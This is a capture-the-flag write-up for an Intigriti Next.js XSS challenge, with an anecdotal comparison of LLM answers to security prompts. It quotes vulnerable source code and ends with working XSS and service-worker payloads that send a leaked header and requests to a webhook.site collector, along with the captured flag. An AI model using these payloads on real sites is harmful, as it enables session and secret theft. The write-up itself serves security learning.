The solution:
- Should leverage a cross site scripting vulnerability on this domain;
- Should work on the latest version of
Chromium
andFirefox
; - Should not be
self-XSS
or related toMiTM
attacks; - Should include the flag in the format
INTIGRITI{.*}
.
We have the web
challenge
where we can login to create notes
:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charSet="utf-8"/>
<meta name="viewport" content="width=device-width, initial-scale=1"/>
<link rel="preload" href="/_next/static/media/file-s.p.woff2" as="font" crossorigin="" type="font/woff2"/>
<link rel="stylesheet" href="/_next/static/css/file.css" data-precedence="next"/>
<link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack.js"/>
<script src="/_next/static/chunks/main-app.js" async=""></script>
<script src="/_next/static/chunks/app/layout.js" async=""></script>
<script src="/_next/static/chunks/app/error.js" async=""></script>
<script src="/_next/static/chunks/app/login/page.js" async=""></script>
<meta name="next-size-adjust" content=""/>
<title>Leaky Fragment</title>
<meta name="description" content="Can steal my flag?"/>
<link rel="icon" href="/favicon.ico" type="image/x-icon" sizes="16x16"/>
<script src="/_next/static/chunks/polyfills.js" noModule=""></script>
</head>
<body class="__className">
<div role="region" aria-label="Notifications (F8)" tabindex="-1" style="pointer-events:none">
<ol tabindex="-1" class="fixed"></ol>
</div>
<section aria-label="Notifications alt+T" tabindex="-1" aria-live="polite" aria-relevant="additions text" aria-atomic="false"></section>
<div class="flex-1 flex flex-col items-center justify-center">
<div class="w-full max-w-md">
<div class="text-center space-y-2">
<div class="flex items-center">
<div class="relative min-w-24 min-h-24">
<div class="absolute z-10">
<svg xmlns="http://www.w3.org/2000/svg" style="shape-rendering:geometricPrecision;text-rendering:geometricPrecision;image-rendering:optimizeQuality;fill-rule:evenodd;clip-rule:evenodd"></svg>
</div>
<div class="absolute bottom-[24%] left-[76%] -translate-x-1/2 animate-drip">
<div class="w-4 h-4 bg-sky-400/80 rounded-full"></div>
</div>
</div>
</div>
<h1 class="text-2xl font-bold">Welcome to Leaky Flagment</h1>
<p class="text-sm text-gray-600">Enter your username and password to view your notes.</p>
</div>
<form class="space-y-4">
<input type="text" class="flex" placeholder="Enter your username..." value=""/>
<input type="password" class="flex" placeholder="Enter your password..." value=""/>
<button class="inline-flex" type="submit">Enter</button>
</form>
</div>
</div>
<footer class="text-center text-xs bg-gradient-to-r from-[#ee9ca7] to-[#ffdde1]">Made by 0x999</footer>
<script src="/_next/static/chunks/webpack.js" async=""></script>
<script>(self.__next_f = self.__next_f || []).push([0])</script>
<script>self.__next_f.push([1, "1:\"$Sreact.fragment\"\n"])</script>
<script>self.__next_f.push([1, "0:{\"P\":null,}\n"])</script>
<script>self.__next_f.push([1, "8:{}\n9:{}\n"])</script>
<script>self.__next_f.push([1, "f:[[\"$\",}]]\n"])</script>
<script>self.__next_f.push([1, "b:null\n"])</script>
</body>
</html>
Curious to see if recent free LLMs
could help us, the first problem will be the amount of files
to check, but we can always inspect them gradually while providing a fresh look of new security vulnerabilities.
Host (2025 Current Time) |
Informations |
Preprompt |
Questions |
Results |
---|---|---|---|---|
Alpha |
Site is recent and may therefore contain inconsistencies |
Default |
Why "middleware.js" (as "regex") code could be a problem here? |
01* |
ChatGPT |
GPT-4.5 Preview |
Default |
Given the [codebase], find probable web XSS vulnerabilities and execute them |
02 |
Claude |
3.7 version |
Default |
Read different blogs about WAF bypass and summerize them |
03 |
Copilot |
2025 changelog |
None |
Create alternative exploits to leak "fragment directive" data please |
04 |
Cursor |
0.48.x version |
None |
Where is the greatest risk of performance loss? |
05 |
DeepSeek |
2025-03-24 version |
Default |
What are the possible bypasses in the code? |
06* |
DuckDuckGo |
GPT-4o mini |
Default |
Check for all the Events registered in the app |
07 |
LLama |
3.3 version |
Default |
What is the CSP used and what could we do with it (as xsleaks, unicode normalization) then? |
08* |
Manus |
From friend, sadly Manus computer encountered some issue |
None |
Read this screenshot of code (with security open source tools) |
09 |
Mistral |
Codestral |
Default |
List differences between useful code from the source.zip challenge AND useless endpoints please |
10* |
Perplexity |
2025 changelog |
Default |
Generate a method to optimize the debugging of Docker Next.js app |
11 |
Rogue |
Some problems with API bindings |
None |
Act as a Web Cybersecurity researcher and read the data |
12* |
Grok |
Grok 3 version |
Default |
List all the HTTP headers used in the [codebase] and external packages |
13 |
Those questions where mostly used (sometimes being rephrased, AI generated, adapted to certain models who could hallucinate, crash, lose context and self-censor) on each prompt but not always working as expected.
Some models were fused
with others or upgraded, annoted with *
asterisk character. Tools like Ollama
and OCR
will drastically reduce performance/accuracy.
If we need to allocate high memory on simple
questions (as preserving Earth) we can work with framework evaluating LLM routers
and snapshots
for testing comparison
logic.
The results (like false positives) are shortened to the essentials to keep it digestible:
- The provided
middleware.js
code has several potential issues and areas for improvement that could lead to problems in aNext.js
challenge. Here are some of the key concerns.- Incorrect
UUID
Regex toCSPT
;const uuid_regex = /^[^\-]{8}-[^\-]{4}-[^\-]{4}-[^\-]{4}-[^\-]{12}$/
../<svg/-onlo-ad=a-lert-(1)>xxxxxxxx
- Unicode Normalization attack;
- Security Concerns about
secret_cookie
; - Potential for Infinite Redirects;
- The
secretRegex
used to validate the decodedsecret_cookie
is overly permissive.
- Incorrect
- I'll analyze the source code for more vulnerabilities. Let me extract and inspect the files first.
Next.js
API routes (pages/api/
)- The
track.js
file storesuserAgent
from the request, but it does not sanitize it before logging or storing it. If this is later rendered in anHTML
context, it could lead to storedXSS
- The
- Frontend components (
components/
andapp/
, let me know if there is any specific files) - Middleware (
middleware.js
)XSS
viaX-Real-Ip
(X-User-Ip
) header inmiddleware.js
- Bot (
bot/bot.js
)- Weird Edge Cases (
CVE
,Unicode
,Null Bytes
,Encoding
, Unexpected behavior bypassingNext.js
app) inFirefox
- Weird Edge Cases (
- Nginx rules (
nginx/nginx.conf
)Redis
Misconfig (Command Injection?)
- Following posts, the
POST
HTTP
method basedCSRF
withoutContent-Type
header usingUint8Array
may self-create note. - I'm sorry, but I can't assist with that. If there is any other questions or need help with something else, feel free to ask.
- The issue on GitHub highlights a few concerns
performance.getEntries()[0].name
=>'http://localhost/note/aaaaaaaa-bbbb-cccc-dddd-xxxxxxxxxxxx?s=true#:~:username:password'
- Composer data handle is disposed.
- The server is busy. Please try again later.
- Insecure Use of
window.postMessage
(Target Origin Wildcard*
); - Insecure
postMessage
Origin Validation; - Potential Information Leakage via
postMessage
; - Plaintext Password Comparison;
- Lack of Message Origin Validation in
handleMessage
; - Lack of Rate Limiting or Brute-Force Protection;
- Potential
XSS
viaJSON
Parsing; - Lack of Cleanup for
window.opener
; - Insecure Storage of Sensitive Data in
localStorage
; - Potential Denial of Service (DoS) via Large
localStorage
Data; - Cross-Origin Window Communication Risks.
- Insecure Use of
- Given all the events registered in the app, service workers can have implications for security, particularly regarding the handling of sensitive data and the potential for leaking information through various directives, including the
fragment directive
. Here's a breakdown of the potential impacts.Service Workers and Caching
- Service workers can intercept network requests and cache responses. If a service worker is not properly configured, it might cache sensitive data or
URLs
that includefragments
, which could be exposed to other scripts or users
- Service workers can intercept network requests and cache responses. If a service worker is not properly configured, it might cache sensitive data or
Data Leakage (Potential Risks)
- Content may contain harmful or sensitive material 🦙
- Context too long.
- Let's analyze the provided
React
component for potential vulnerabilities, particularly focusing on Cross-Site Scripting (XSS
) and other common issues.Event Listeners
- The component uses event listeners to communicate with a child window. Ensure that the event data is validated to prevent malicious inputs
HTTP Requests
Local Storage
- To optimize the debugging of a Docker
Next.js
app, follow these steps.https://nextjs.org/docs/app/building-your-application/configuring/debugging
https://blog.risingstack.com/how-to-debug-a-node-js-app-in-a-docker-container
https://markus.oberlehner.net/blog/running-nextjs-with-docker
https://blog.arcjet.com/security-advice-for-self-hosting-next-js-in-docker
- Modified
bot/bot.js
asarguments: ['60', 'true', url],
anddocker-compose.yml
as- DOMAIN=host.docker.internal
(Waiting ~5 minutes for the containers to be running)
503 Service Temporarily Unavailable
ofhttps://challenge-0325.intigriti.io/
- The GitHub issue found, vercel/next.js #56852, describes a bug in
Next.js
where data requests with theX-Nextjs-Data:1
header (or in lowercase) return a200 OK
status code with an emptyJSON
object, even when the requested route does not exist (which should typically return a404 Not Found
). This issue occurs specifically since amiddleware.js
file is present in the project. Below, I'll explain the impact of this bug in a clear and structured way.
Key |
Value |
|
---|---|---|
Transfer-Encoding |
chunked |
|
Connection |
keep-alive |
|
Content-Security-Policy |
frame-ancestors https://challenge-0325.intigriti.io; base-uri 'none'; object-src 'none'; frame-src 'none'; |
|
Referrer-Policy |
no-referrer |
|
X-Nextjs-Redirect |
/note/test?s=true#:~:test:test (Fragment Directive Leakage) |
We end up with more lazy questions than answers but enough to get a general view of the challenge, as the goal is to leak the fragment directive
.
Moreover some subtleties have been ignored by LLMs
, such as bad indentation
in the source code. Quite funny since we will rewind it later:
// source.zip/leaky-flagment/nextjs-app/app/protected-note/page.jsx
useEffect(() => {
if (window.opener) {
window.opener.postMessage({ type: "childLoaded" }, "*"); // Indentation missing
}
setisMounted(true);
const handleMessage = (event) => {
if (event.data.type === "submitPassword") {
validatepassword(event.data.password);
}
};
window.addEventListener("message", handleMessage);
return () => window.removeEventListener("message", handleMessage);
}, []);
// source.zip/leaky-flagment/nextjs-app/pages/api/track.js
export default async function handler(req, res) {
const { method } = req; // Re-indenting
res.setHeader('Content-Type', 'text/javascript');
switch (method) {
case "GET":
try {
const userIp = req.headers['X-User-Ip'] || '0.0.0.0'
const jsContent = `
$(document).ready(function() {
const userDetails = {
ip: "${userIp}",
type: "client",
timestamp: new Date().toISOString(),
ipDetails: {}
};
window.ipAnalytics = {
track: function() {
return {
ip: userDetails.ip,
timestamp: new Date().toISOString(),
type: userDetails.type,
ipDetails: userDetails.ipDetails
};
}
};
});`
if (userIp !== '0.0.0.0') {
return res.status(200).send(jsContent);
} else {
return res.status(200).send('');
}
} catch (error) {
console.error('Error:', error);
return res.status(500).send('Error');
}
default:
res.setHeader('Allow', ['GET']);
return res.status(405).send('console.error("Method not allowed");');
}
}
Also it is recommended to always check that the web browsers are up-to-date (as not only LLMs
forget).
Based on all research, we could see some intriguing behavior of Next.js
headers, empty Content-Type
case and triggered postMessage
combined with the hardcoded actions.move({x:centerX, y:centerY}).click()
bot code to click
on our freshly created malicious note (leaking the flag
):
url, vps = "https://challenge-0325.intigriti.io", "https://webhook.site/aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee"; global load # url = "http://localhost"
xss = f"""<body onclick=xss() style='width:100%;height:100%'>
<script>
let n = ""; async function xss(){{
window.addEventListener("message", (e)=>{{
e.data.type === "childLoaded" ? n.postMessage({{password:"",type:"submitPassword"}},"*") : (n.location.href=`{url}/note/${{e.data.noteId}}`);
}});
await fetch('{url}/api/post',{{
body: new Blob([`{{\"title\":\"xss\",\"content\":[\"<svg/onload=fetch('{url}/note/xiao',{{headers:{{'X-Nextjs-Data':'1',method:'GET'}}).then(function(r){{fetch('{vps}?'+btoa(r.headers.get('X-Nextjs-Redirect')))}})>\"],\"use_password\":\"false\"}}`]), method: 'POST', credentials: 'include', mode: 'cors' // no-cors
}});
}}
await delay(3000); window.open('{url}/notes'); // cfr. https://stackoverflow.com/questions/17883692
</script>"""; load(vps, xss) # Add CORS headers to our Webhook view
We wait ~10 seconds until we receive the request:
https://webhook.site/aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee?L25vdGUveGlhbz9zPXRydWUjO.....szcnNfNHJlX3AwdzNyZnVsfQ==
Time 0.000 sec
sec-fetch-site cross-site
sec-fetch-mode cors
sec-fetch-dest empty
origin https://challenge-0325.intigriti.io
accept */*
user-agent Mozilla/5.0 (X11; Linux x86_64; rv:136.0)
Query strings
/note/xiao?s=true#:~:admin1234567:INTIGRITI{s3rv1ce_w0rk3rs_4re_p0w3rful}
Rereading the query
, we realize that we probably missed something important (and got stuck
on the same spot so we must persevere). It seems possible to register Service Worker to leak requests.
We generate some functional payload, adapting it into our previous tests (since sometimes it works only locally for weird reasons, logs
are omitted):
global load, test, vps
xss = """
let vps = "https://webhook.site/aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee"; let url = "http://localhost"; // url = "https://challenge-0325.intigriti.io"
let xss = `
await fetch(url+"/view_protected_note/x.js?id=../api//-////-////-////-/../../track", {
headers:{"X-User-Ip":"}},(function(){self.addEventListener('fetch',(evt)=>{evt.respondWith(fetch(vps+btoa(evt.request)));return;})})());console.info(function(){const/**/userDetails={test: "},
credentials: 'include', mode: 'cors', cache: 'reload' // no-cors, no-cache, no-store, force-cache, cache-control
});
await navigator.serviceWorker.register(url+'/view_protected_note/x.js?id=../api//-////-////-////-/../../track'); // Required to update the scope, can change
`""".replace("\n",""); load(vps, test+xss) # CORS
We should then receive the loaded bot request(s):
https://challenge-0325.intigriti.io/note/aaaaaaaa-bbbb-cccc-dddd-xxxxxxxxxxxx?s=true#:~:admin7654321:INTIGRITI{s3rv1ce_w0rk3rs_4re_p0w3rful}
https://challenge-0325.intigriti.io/_next/static/chunks/main-app.js
In brief LLM
could be both a great help and a timesink, given the number of files to review.
A very nice challenge with different angles of attack (reminding us how mussy web is).